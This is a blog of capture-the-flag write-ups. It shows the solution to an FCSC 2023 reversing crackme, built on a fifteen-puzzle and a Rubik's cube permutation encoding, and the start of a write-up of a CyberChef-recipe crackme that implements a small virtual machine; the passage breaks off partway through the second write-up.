In this challenge, the fifteen puzzle is encoded in a form that is a bit easier to comprehend. Each grid state is represented by a 64-bit integer where each hexadecimal nibble gives the value of a cell (0 is the hole).

The 54-nibble long array that is output from the first puzzle encodes the different moves to play on the grid. There are only two valid moves for each grid state: for instance, in the image above, the valid moves are 13 and 7.

For this reason, the program keeps track of a $$5 \times 16$$ matrix of bitmasks, which I called `valid_moves`, that looks like the following in hexadecimal:

```python
[['0100000000000000', '0000100000000000', '0000000000000000', '0000000000000000', '0000000000000000'],
 ['1000000000000000', '0010000000000000', '0000010000000000', '0000000000000000', '0000000000000000'],
 ['0100000000000000', '0001000000000000', '0000001000000000', '0000000000000000', '0000000000000000'],
 ['0010000000000000', '0000000100000000', '0000000000000000', '0000000000000000', '0000000000000000'],
 ['1000000000000000', '0000010000000000', '0000000010000000', '0000000000000000', '0000000000000000'],
 ['0100000000000000', '0000100000000000', '0000001000000000', '0000000001000000', '0000000000000000'],
 ['0010000000000000', '0000010000000000', '0000000100000000', '0000000000100000', '0000000000000000'],
 ['0001000000000000', '0000001000000000', '0000000000010000', '0000000000000000', '0000000000000000'],
 ['0000100000000000', '0000000001000000', '0000000000001000', '0000000000000000', '0000000000000000'],
 ['0000010000000000', '0000000010000000', '0000000000100000', '0000000000000100', '0000000000000000'],
 ['0000001000000000', '0000000001000000', '0000000000010000', '0000000000000010', '0000000000000000'],
 ['0000000100000000', '0000000000100000', '0000000000000001', '0000000000000000', '0000000000000000'],
 ['0000000010000000', '0000000000000100', '0000000000000000', '0000000000000000', '0000000000000000'],
 ['0000000001000000', '0000000000001000', '0000000000000010', '0000000000000000', '0000000000000000'],
 ['0000000000100000', '0000000000000100', '0000000000000001', '0000000000000000', '0000000000000000'],
 ['0000000000010000', '0000000000000010', '0000000000000000', '0000000000000000', '0000000000000000']]
```

Let's take an example. When the first move is selected (`nibble = permutated_state[j]`), the program then looks for this value in the grid state:

```cpp
valid_moves_ptr = valid_moves;
m = 60;
while ( nibble != ((initial_grid >> m) & 0xF) )
{
  m -= 4;
  valid_moves_ptr += 5;
  if ( m == -4 )
    goto ERR;
}
```

Finding the move's position in the grid state also brings the `valid_moves` array to a certain row index. For instance, imagine that the first nibble move is "D": it's the second cell in the following initial state.

```
3DA8
E091
5F2C
4B67
```

The selected row of bitmasks is:

```python
 ['1000000000000000', '0010000000000000', '0000010000000000', '0000000000000000', '0000000000000000']
```

Each bitmask can be seen as a $$4 \times 4$$ matrix:

```
1000  0010  0000  0000  0000
0000  0000  0100  0000  0000
0000  0000  0000  0000  0000
0000  0000  0000  0000  0000
```

The "1" bits encode all the possible hole positions for our move! In our case, the hole ("0") is right below the cell we want to move ("D"), and the third bitmask allows that. Note: I'm not sure why each bitmask row store 5 bitmasks instead of 4, the last one being always null.

Once the move has been identified and deemed valid, a transition mask is crafted. It basically permutes the two cells in the grid state.

```cpp
transition = (nibble << m) ^ (mask * nibble);
/* ... */
initial_grid ^= transition;
```

In order to solve this part, we should find a solution to this instance of the fifteen puzzle that is exactly 54 moves long (which turns out to be the optimal solution length). I used the program [15-Puzzle Optimal Solver](http://kociemba.org/themen/fifteen/fifteensolver.html) by Herbert Kociemba.

![](/files/TdaRTmT6SNwR8v5kqqLX)

This gives us a solution, that is, written in hexadecimal:

```
E54BFED354ED926FBED921C7FBED921A31451426A3426A7C8437BF
```

## Solving the first puzzle

We can now come back on the first puzzle! We know that we want to go from a certain initial state to a target state in 24 moves.

```
D32EF97ED632728E7443D4C3F2A5916AB25CEBD1A1591F6E44B4BF
->
E54BFED354ED926FBED921C7FBED921A31451426A3426A7C8437BF
```

We have a set of 6 permutations at our disposal, and each permutation can be repeated up to three times in a row.

The set of permutations is the following:

```python
[
 [9, 1, 2, 12, 4, 5, 15, 7, 8, 45, 10, 11, 48, 13, 14, 51, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 29, 32, 35, 28, 31, 34, 27, 30, 33, 36, 37, 6, 39, 40, 3, 42, 43, 0, 44, 46, 47, 41, 49, 50, 38, 52, 53],
 [0, 1, 42, 3, 4, 39, 6, 7, 36, 9, 10, 2, 12, 13, 5, 15, 16, 8, 20, 23, 26, 19, 22, 25, 18, 21, 24, 27, 28, 29, 30, 31, 32, 33, 34, 35, 53, 37, 38, 50, 40, 41, 47, 43, 44, 45, 46, 11, 48, 49, 14, 51, 52, 17],
 [2, 5, 8, 1, 4, 7, 0, 3, 6, 27, 28, 29, 12, 13, 14, 15, 16, 17, 9, 10, 11, 21, 22, 23, 24, 25, 26, 36, 37, 38, 30, 31, 32, 33, 34, 35, 18, 19, 20, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53],
 [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 24, 25, 26, 18, 19, 20, 21, 22, 23, 42, 43, 44, 27, 28, 29, 30, 31, 32, 15, 16, 17, 36, 37, 38, 39, 40, 41, 33, 34, 35, 47, 50, 53, 46, 49, 52, 45, 48, 51],
 [0, 1, 2, 3, 4, 5, 18, 21, 24, 11, 14, 17, 10, 13, 16, 9, 12, 15, 47, 19, 20, 46, 22, 23, 45, 25, 26, 27, 28, 8, 30, 31, 7, 33, 34, 6, 36, 37, 38, 39, 40, 41, 42, 43, 44, 29, 32, 35, 48, 49, 50, 51, 52, 53],
 [33, 30, 27, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 0, 21, 22, 1, 24, 25, 2, 51, 28, 29, 52, 31, 32, 53, 34, 35, 38, 41, 44, 37, 40, 43, 36, 39, 42, 45, 46, 47, 48, 49, 50, 26, 23, 20]
]
```

I thought the permutations looked a bit specific. There are a lot of fixed points, and the only non-trivial cycles are of length 4, which is an interesting property ($$\forall P$$, $$P^4 = P$$).

Unfortunately, at this moment, I didn't investigate the permutations much further. I spent countless hours trying to solve the problem as a generic "go from A to B using a set of permutations" problem. I mostly experimented with the [IDA\* algorithm](https://en.wikipedia.org/wiki/Iterative_deepening_A*), but coming up with a decent heuristic proved to be difficult. Several times I found a sequence of moves that got me quite close to the target, but little did I know that I was actually very far.

At some point, I came back on the permutations and tried to visualize them from another angle. I mapped each integer from 0 to 53 to a character in the following (arbitrary) charset:

```
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqr
```

Then, I wrote down the six permutations, replacing the fixed points with spaces:

```
9  C  F  j  m  p           TWZS YRUX  6  3  0i  f  c  
  g  d  a  2  5  8KNQJ PILO         r  o  l    B  E  H
2581 7036RST      9AB      abc      IJK
               OPQ      ghi      FGH      XYZlork qjmp
      ILOBEHA G9CFl  k  j    8  7  6         TWZ
XUR                 0  1  2p  q  r  cfib hadg      QNK
```

Still a bit cryptic, but we can see interesting patterns that makes us want to visualize the permutations in two dimensions. Since length is 54, we could rearrange them into $$9 \times 6$$ grids. Let's take the three first permutations for example.

```
---------
9  C  F  
j  m  p  
         
TWZS YRUX
6  3  0i 
f  c     
---------
  g  d  a
  2  5  8
KNQJ PILO
r  o  l  
B  E  H
---------
2581 7036
RST      
9AB      
abc      
IJK
---------
```

Starts looking better... but not quite there. It looks like there are still some kinds of column patterns appearing. Let's split each row into a $$3 \times 3$$ block. Here's for the first permutation, where I replaced fixed points with underscores for clarity:

```
9__
C__
F__

j__
m__
p__  

___
___
___

TWZ
S_Y
RUX

__6
__3
__0

i__
f__
c__
```

Does it ring a bell now? Yup: it's a [Rubik's cube](https://en.wikipedia.org/wiki/Rubik%27s_Cube_group). 6 faces, each face has $$3 \times 3$$ facets. Each permutation rotates one face (here, counter-clockwise). The repetition of a permutation 1 to 3 times is how many times you want to rotate a face. In the above permutation, we can effectively see that the rotation applies to the fourth face, that there are 4 other faces which are impacted by the rotation, and that there is an opposite face which is not impacted at all.

Actually, it is even easier to visualize the Rubik's cube simply by applying the different permutations to the initial state. If we look at the action of the first permutation:

```
D32EF97ED632728E7443D4C3F2A5916AB25CEBD1A1591F6E44B4BF
->
6327F9EEDF3242847443D4C3F2A1BC9A5562EB71AE59D16E14BDBF
```

We split that into six faces:

```
D32  632  43D  591  EBD  F6E
EF9  728  4C3  6AB  1A1  44B
7ED  E74  F2A  25C  591  4BF

->

632  F32  43D  1BC  EB7  16E
7F9  428  4C3  9A5  1AE  14B
EED  474  F2A  562  59D  DBF
```

We can identify the face that was rotated one quarter counter-clockwise: it's the fourth one. Performing this with each permutation, and also visualizing the permutations on the adjacent faces, we are able to successfully reconstruct the cube's layout.

For instance, the first permutation is best visualized like this:

```
       D 3 2
       E F 9
       7 E D

5 9 1  6 3 2  4 3 D  E B D
6 A B  7 2 8  4 C 3  1 A 1
2 5 C  E 7 4  F 2 A  5 9 1

       F 6 E
       4 4 B
       4 B F 

->

       6 3 2
       7 F 9
       E E D

1 B C  F 3 2  4 3 D  E B 7
9 A 5  4 2 8  4 C 3  1 A E
5 6 2  4 7 4  F 2 A  5 9 D

       1 6 E
       1 4 B
       D B F 
```

The cube net is shown here as the following, where U is Up, L is Left, F is Front, R is Right, B is Back and D is Down.

```
 U
LFRB
 D
```

Using this notation, we find that the state arrays in the program are stored as:

```
UUUUUUUUUFFFFFFFFFRRRRRRRRRLLLLLLLLLBBBBBBBBBDDDDDDDDD
```

We also find that the permutations are, in order, counter-clockwise rotations of L, R, U, D, F, B.

Now, we know that we want to solve the cube for this target:

```
       E 5 4
       B F E
       D 3 5

D 9 2  4 E D  D 9 2  1 4 2
1 A 3  9 2 6  1 C 7  6 A 3
1 4 5  F B E  F B E  4 2 6

       A 7 C
       8 4 3
       7 B F
```

This layout is what we would consider the solved cube (imagine if each facet was mapped to one color out of six). Since each facet is unique (they can be uniquely determined by their neighbours, depending on their nature: center, corner, edge), we can map each face in the solved cube to unique, disjoint sets of facets.

For each face, I chose the following notation:

* X-Y means the X facet belongs to the face and has one neighbour Y on another facet (edge);
* X-YZ means the X facet belongs to the face and has two neighbours Y and Z on two other facets (corner);
* X-ABCD means the X facet is the center of the face.

Therefore, for each face, we obtain a set of unique facets using our notation by reading the target cube:

```
U: E-D2, B-9, D-24, 5-4, 4-21, E-9, 5-DD, 3-E, F-B5E3
F: 4-D2, E-3, D-5D, 6-1, E-FC, B-7, F-A5, 9-3, 2-9E6B
L: 2-D4, 3-9, 5-FA, 4-8, 1-76, 1-3, D-2E, 9-B, A-1934
R: D-D5, 9-E, 2-41, 7-6, E-4F, B-3, F-EC, 1-6, C-197B
B: 1-24, 4-5, 2-ED, 3-1, 6-71, 2-B, 4-EF, 6-7, A-6432
D: A-F5, 7-B, C-EF, 3-B, F-E4, B-2, 7-16, 8-4, 4-873B
```

We can now remap the *initial* cube by identifying each facet and which "face color" they are! This gives this:

```
      F D B            
      U U F            
      D F U            
U R L B U L F L L U R R
F L F D F D L R B L B R
R U D F R B D B D L L B
      R B R            
      B D D            
      U U F          
```

I did this whole process by hand; this was a bit tedious and required some concentration, but at last we managed to remap the problem into a "normal" looking cube that we can now feed to an existing solver!

For the solving part, I chose to use this [optimal Python solver](https://github.com/hkociemba/RubiksCube-OptimalSolver), written by none other than... again, Herbert Kociemba. The world of permutation puzzles is a small one!

The solver works by first generating several look-up tables in around 15 minutes, that take up several hundreds of megabytes. Then, solving a scrambled cube is as easy as calling the `solve` method and waiting about three minutes (using [pypy](https://www.pypy.org/)).

```python
>>>> cubestring = "FDBUUFDFUFLLLRBDBDBULDFDFRBRBRBDDUUFURLFLFRUDURRLBRLLB"
>>>> sv.solve(cubestring)
depth 14 done in 0.14 s, 111513 nodes generated, about 779279 nodes/s
depth 15 done in 0.81 s, 1520577 nodes generated, about 1884035 nodes/s
depth 16 done in 8.45 s, 20361912 nodes generated, about 2410972 nodes/s
depth 17 done in 131.11 s, 273355368 nodes generated, about 2084905 nodes/s
depth 18 done in 30.93 s, 77918135 nodes generated, about 2518900 nodes/s
total time: 171.53 s, nodes generated: 373276100
'U1 F2 R2 U2 R1 L2 D1 L3 U3 B1 L1 D2 F1 R2 F1 L3 U2 R2 (18f*)'
```

Given how computationally heavy the problem of optimally solving a Rubik's cube instance is, we understand why our former IDA\* attempt did not give any result.

The solver yields an optimal solution in 18 moves, which is under 24: great!

All we have to do now is to map the moves back to our set of permutations, and construct the input string. Since the binary wants exactly 24 moves, we can pad our solution with "null" rotations (for instance, permutation 0 performed 0 times). This gives the following string:

```
muglhcrbkzdqvgvblgaaaaaa
```

Feed this input to the server, and we won!

```
╭─face@0xff ~/ctf/fcsc/2023/reverse/picasso                                                     
╰─$ nc challenges.france-cybersecurity-challenge.fr 2251                                        
Password: muglhcrbkzdqvgvblgaaaaaa                                                              
Win!                                                                                            
FCSC{235b605a121bdd4b09adc4823bdf0967c446647c1ec69234813068a916fd83a6}
```

## Conclusion

Even though it was more "puzzle" that "reverse", I thought this challenge was excellent. It required a lot of intuition and rigor.

I found the combination of the two puzzles to be very seamless and elegant. It's crazy how much complexity and puzzles one can pack into such a tiny binary and function!


# 2022


# Root-Me 10K CTF


# chef's kiss

For the Root-Me 10K CTF event that was held back in October 2022, I had the opportunity to create a few challenges. This one in particular got a few solves but there wasn't any write-up published for it. Therefore, I thought I would write one myself for posterity and because I really like the idea of the challenge itself (I don't think I have seen anything like this before in another CTF).

**chef's kiss** was a rather atypical reverse engineering challenge. No binaries, no further description, just a URL:

```
https://gchq.github.io/CyberChef/#recipe=Label('loop')Conditional_Jump('%5EPROG%3DA',false,'handle_A',10000)Conditional_Jump('%5EPROG%3DD',false,'handle_D',10000)Conditional_Jump('%5EPROG%3DE',false,'handle_E',10000)Conditional_Jump('%5EPROG%3DI',false,'handle_I',10000)Conditional_Jump('%5EPROG%3DJ',false,'handle_J',10000)Conditional_Jump('%5EPROG%3DP',false,'handle_P',10000)Conditional_Jump('%5EPROG%3DR',false,'handle_R',10000)Conditional_Jump('%5EPROG%3DS',false,'handle_S',10000)Conditional_Jump('%5EPROG%3D%5C%5C$',false,'handle_sys',10000)Label('nexti')Fork('%5C%5Cn','%5C%5Cn',false)Conditional_Jump('%5EPROG%3D',true,'endfork',10000)Find_/_Replace(%7B'option':'Regex','string':'%5EPROG%3D'%7D,'',true,false,true,false)Drop_bytes(0,1,false)Find_/_Replace(%7B'option':'Regex','string':'(.%2B)'%7D,'PROG%3D$1',true,false,true,false)Label('endfork')Merge(true)Jump('loop',10000)Return()Label('handle_A')Fork('%5C%5CnSTACK%3D','%5C%5CnSTACK%3D',false)Conditional_Jump('%5EPROG%3D',false,'handle_A_endfork',10000)Label('handle_A_forkinnerloop')Conditional_Jump('%5E%5C%5Cx00',false,'handle_A_endforkinnerloop',10000)ADD(%7B'option':'Hex','string':'ff010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'%7D)Jump('handle_A_forkinnerloop',10000)Label('handle_A_endforkinnerloop')Drop_bytes(0,1,false)Label('handle_A_endfork')Merge(true)Jump('nexti',10000)Label('handle_D')Find_/_Replace(%7B'option':'Regex','string':'STACK%3D(.)(.*)'%7D,'STACK%3D$1$1$2',true,false,true,true)Jump('nexti',10000)Label('handle_E')Find_/_Replace(%7B'option':'Regex','string':'STACK%3D(.)(.)(.*)'%7D,'STACK%3D$2$1$3',true,false,true,true)Jump('nexti',10000)Label('handle_I')Fork('%5C%5CnSTACK%3D','%5C%5CnSTACK%3D',false)Conditional_Jump('%5EPROG%3D',false,'handle_I_endfork',10000)ADD(%7B'option':'Hex','string':'010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'%7D)Label('handle_I_endfork')Merge(true)Jump('nexti',10000)Label('handle_J')Conditional_Jump('STACK%3D%5C%5Cx00',true,'handle_J_end',10000)Find_/_Replace(%7B'option':'Regex','string':'PROG%3DJ%5C%5C%5B%5B%5E%5C%5C%5D%5D%2B%5C%5C%5D(.*)'%7D,'PROG%3DJ$1',true,false,true,false)Label('handle_J_end')Find_/_Replace(%7B'option':'Regex','string':'STACK%3D.(.*)'%7D,'STACK%3D$1',true,false,true,true)Jump('nexti',10000)Label('handle_P')Find_/_Replace(%7B'option':'Regex','string':'STACK%3D(.*)'%7D,'STACK%3D%5C%5Cx00$1',true,false,true,true)Jump('nexti',10000)Label('handle_R')Find_/_Replace(%7B'option':'Regex','string':'STACK%3D(.)(.*)'%7D,'STACK%3D$2$1',true,false,true,true)Jump('nexti',10000)Label('handle_S')Fork('%5C%5CnSTACK%3D','%5C%5CnSTACK%3D',false)Conditional_Jump('%5EPROG%3D',false,'handle_S_endfork',10000)SUB(%7B'option':'Hex','string':'010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'%7D)Label('handle_S_endfork')Merge(true)Jump('nexti',10000)Label('handle_sys')Conditional_Jump('STACK%3D%5C%5Cx01',false,'handle_sys_1',10000)Conditional_Jump('STACK%3D%5C%5Cx02',false,'handle_sys_2',10000)Conditional_Jump('STACK%3D%5C%5Cx03',false,'handle_sys_3',10000)Conditional_Jump('STACK%3D%5C%5Cx04',false,'handle_sys_4',10000)Jump('handle_sys_err',10000)Label('handle_sys_end')Jump('nexti',10000)Label('handle_sys_1')Fork('%5C%5CnSTACK%3D','%5C%5CnSTACK%3D',false)Conditional_Jump('%5EPROG%3D',false,'handle_sys_1_endfork',10000)Drop_bytes(0,1,false)RC4(%7B'option':'UTF8','string':'A%20cyberchef%20crackme?%20Are%20you%20kidding%20me?'%7D,'Latin1','Latin1')Label('handle_sys_1_endfork')Merge(true)Jump('handle_sys_end',10000)Label('handle_sys_2')Fork('%5C%5CnSTACK%3D','%5C%5CnSTACK%3D',false)Conditional_Jump('%5EPROG%3D',false,'handle_sys_2_endfork',10000)Drop_bytes(0,1,false)Rotate_right(4,false)Label('handle_sys_2_endfork')Merge(true)Jump('handle_sys_end',10000)Label('handle_sys_3')Find_/_Replace(%7B'option':'Regex','string':'.%2B'%7D,'Wrong%20:(',true,false,true,true)Return()Label('handle_sys_4')Find_/_Replace(%7B'option':'Regex','string':'.%2B'%7D,'Congrats%20:)',true,false,true,true)Return()Label('handle_sys_err')Find_/_Replace(%7B'option':'Regex','string':'.%2B'%7D,'Fatal%20error:%20unrecognized%20syscall',true,false,true,true)Return()&input=UFJPRz1QSSRQSUkkUElJSUFSUElBUlBJSUlJQVJQSUFSUElJSUlJQVJQSUlJSUlJSUlJQVJQSUlBUlBJSUlJSUlBUlBJSUlJSUFSUElJSUFSUElJSUlJQVJQSUlJSUlJSUlBUlBJSUlJSUlJSUlBUlBJSUlJSUlJQVJQSUlJSUlJSUlJQVJQSSRTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NKW1BJSUkkXVNTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU0pbUElJSSRdU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTSltQSUlJJF1TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU0pbUElJSSRdU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTSltQSUlJJF1TU1NTU1NTU1NTU1NTU1NTU1NKW1BJSUkkXVNTU0pbUElJSSRdU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTSltQSUlJJF1TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU0pbUElJSSRdU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU0pbUElJSSRdU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU0pbUElJSSRdU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NKW1BJSUkkXVNTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTSltQSUlJJF1TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NKW1BJSUkkXVNTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTSltQSUlJJF1QSUlJSSQKU1RBQ0s9ZW50ZXJfZmxhZ19oZXJl
```

If you follow this link, you are greeted with a large CyberChef recipe, a rather cryptic input with a part that says "enter flag here", and an output window that says `"Wrong :("`.

This is exactly what it looks like: a crackme implemented using CyberChef.

## CyberChef does more than you think

Most CTF enthusiasts know about [CyberChef](https://github.com/gchq/CyberChef): it is a widely used web application developed by GCHQ for dealing with data encoding, cryptography, networking and many more as it carries tons of features of all kinds.

Its specificity lies in the fact that you can *chain* operations to be performed on your input: for instance, you could ask CyberChef to first decode your data from base64, then decrypt it using AES by specifying a certain mode and key, then make the text uppercase and finally generate a QR code for it — all at once. This is called the *recipe* system.

![Example of CyberChef recipe](/files/Lb1R4ecR4mrem6KJJ6Uo)

You can build more or less complex recipes, and even export them through URL format or JSON, so that you can save them or share them with other people.

However, most people do not know about these rarely used operation blocks from the *flow control* category:

![Flow control operations](/files/hIvpcfNHoMZmuzXwwqDH)

These allow to basically turn CyberChef recipes into whole **programs**, and may even make CyberChef a turing-complete virtual machine.

Most notably, you can fork and merge operations, define registers, labels, and jump on labels conditionally. You can thus define conditional blocks of code and even loops.

Here is an example of recipe that scans a text using a loop, stops on the first capital letter, extracts a word to a register and displays it on an image.

![Example of control flow recipe](/files/9fbzZrwuRhCujHOBSUTF)

## Defining variables

Unfortunately, the *Register* block does not really implement a register per se, as we would use commonly in assembly code. The fact that CyberChef registers cannot be reassigned makes them a rather limited feature. Indeed, you cannot, for instance, modify the value of a register to increment it.

How would we implement variables then? Here's a solution that I came up with, that uses the *Fork* and *Merge* blocks. The idea is to define variables inside the input window, one per line, use *Fork* to parallelize the control flow on each line, filter the line that matches the variable we're interested in using a conditional jump, and perform subsequent operations on the variable.

Here is an example of recipe that implements a way to increment a counter.

![Incrementing a counter variable](/files/pNWIWai4XVLbKSuDE97z)

I'm sure there are plenty of creative ways to implement different kinds of useful programming primitives using all of the blocks that CyberChef provides.

Either way, this is basically all there is to my crackme recipe: it mostly consists of merge, forks, labels, jumps and find/replaces. The recipe is actually rather straightforward, easy to develop and easy to read (apart from the very linear appareance).

However, when I first had the idea of the challenge, I knew I couldn't just stop there. I had to give it that extra twist to make challengers go "double wow": the first one being when you see that it's a CyberChef cracking challenge, and the second one being when you understand that... the recipe implements a **virtual machine** itself.

## Reverse engineering the recipe

The input window looks like this:

```
PROG=PI$PII$PIIIARPIARPIIIIARPIARPIIIIIARPIIIIIIIIIARPIIARPIIIIIIARPIIIIIARPIIIARPIIIIIARPIIIIIIIIARPIIIIIIIIIARPIIIIIIIARPIIIIIIIIIARPI$SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSJ[PIII$]SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSJ[PIII$]SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSJ[PIII$]SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSJ[PIII$]SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSJ[PIII$]SSSSSSSSSSSSSSSSSSJ[PIII$]SSSJ[PIII$]SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSJ[PIII$]SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS